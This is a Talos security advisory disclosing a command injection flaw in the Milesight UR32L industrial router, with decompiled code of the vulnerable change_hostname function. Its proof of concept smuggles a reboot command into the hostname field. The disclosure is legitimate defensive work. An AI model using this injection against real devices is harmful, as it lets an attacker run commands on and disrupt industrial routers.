CVE-2023-22659: TALOS-2023-1699 || Cisco Talos Intelligence Group

SUMMARY

An os command injection vulnerability exists in the libzebra.so change_hostname functionality of Milesight UR32L v32.3.0.5. A specially-crafted network packets can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

PRODUCT URLS

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

DETAILS

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the Router console. This is an interactive shell to modify the router settings.

Here is the prompt after the login:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> 

The service has several functionalities, the number of functionalities depends also on the user privileges. Indeed, the admin user can access the enable command, that will allow to access an high privileges command menu:

ROUTER> enable 
ROUTER# 
  cellular-gps-dev
  clear             Reset functions
  configure         Configuration from vty interface
  copy              Copy from one file to another
  core              Set debug level
  debug             Debugging functions (see also 'undebug')
  disable           Turn off privileged mode command
  enable            Turn on privileged mode command
  end               End current mode and change to enable mode
  exit              Exit current mode and down to previous mode
  list              Print command list
  modbus-master
  no                Negate a command or set its defaults
  ping              Send echo messages
  quit              Exit current mode and down to previous mode
  reload            Halt and perform a cold restart
  show              Show running system information
  ssh               Open an ssh connection
  telnet            Open a telnet connection
  terminal          Set terminal line parameters
  test              Test
  traceroute        Trace route to destination
  undebug           Disable debugging functions (see also 'debug')
  write             Write running configuration to memory, network, or terminal

The command that we are going to analyze is called hostname. This function is called as hostname <new_hostname> and is used to change hostname for the device. This command is in the sub-menu reachable through the configure terminal command:

ROUTER# configure terminal 
ROUTER(config)# 
  [...]
  hostname              Set system's network name
  [...]

The libzebra.so.0.0.0’s hostname_command function is responsible for managing the hostname command:

undefined4 hostname_command(undefined4 param_1,int param_2,undefined4 param_3,byte **argv)

{
  undefined4 uVar1;
  char *pcVar2;

  if (0x19 < (**argv | 0x20) - 0x61) {
    [...]
  }
  uVar1 = change_hostname_wrap(argv);
  return uVar1;
}

This function will check if the provided hostname starts with a letter of the alphabet, then the change_hostname_wrap function will be called with the new hostname. The function change_hostname_wrap will check if the current hostname differs from the new one, in such case the function change_hostname will be eventually called:

void change_hostname(char *new_hostname)

{
  int iVar1;
  char change_hostname_command [128];

  iVar1 = __stack_chk_guard;
  change_hostname_command._0_4_ = 0;
  memset(change_hostname_command + 4,0,0xfc);
  snprintf(change_hostname_command,0x100,"uci set system.@system[0].hostname='%s';uci commit",
           new_hostname);                                                                                       [1]
  system(change_hostname_command);                                                                              [2]
  [...]
}

This function will compose, at [1], the uci set system.@system[0].hostname=’<new_username>’;uci commit string. The composed string will then be executed, at [2], using the system function. The change_hostname function is vulnerable to a command injection vulnerability, indeed, the new_hostname parameter it will reach the system function and the hostname command does only checks if the first character is alphabetic, this is not enough to prevent a command injection.

Exploit Proof of Concept

Following a POC triggering a reboot of the system through the command injection exposes above:

*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--

-------------------------------------------------------------------------
Product Model        : UR32L
Firmware Version     : 32.3.0.5
-------------------------------------------------------------------------

ROUTER> enable
ROUTER#  configure terminal
ROUTER(config)# hostname a'$(reboot)'
old hostname null
a(config)# Connection closed by foreign host.

The Connection closed by foreign host. is the consequence of the device that is rebooting.

VENDOR RESPONSE

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html

TIMELINE

2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.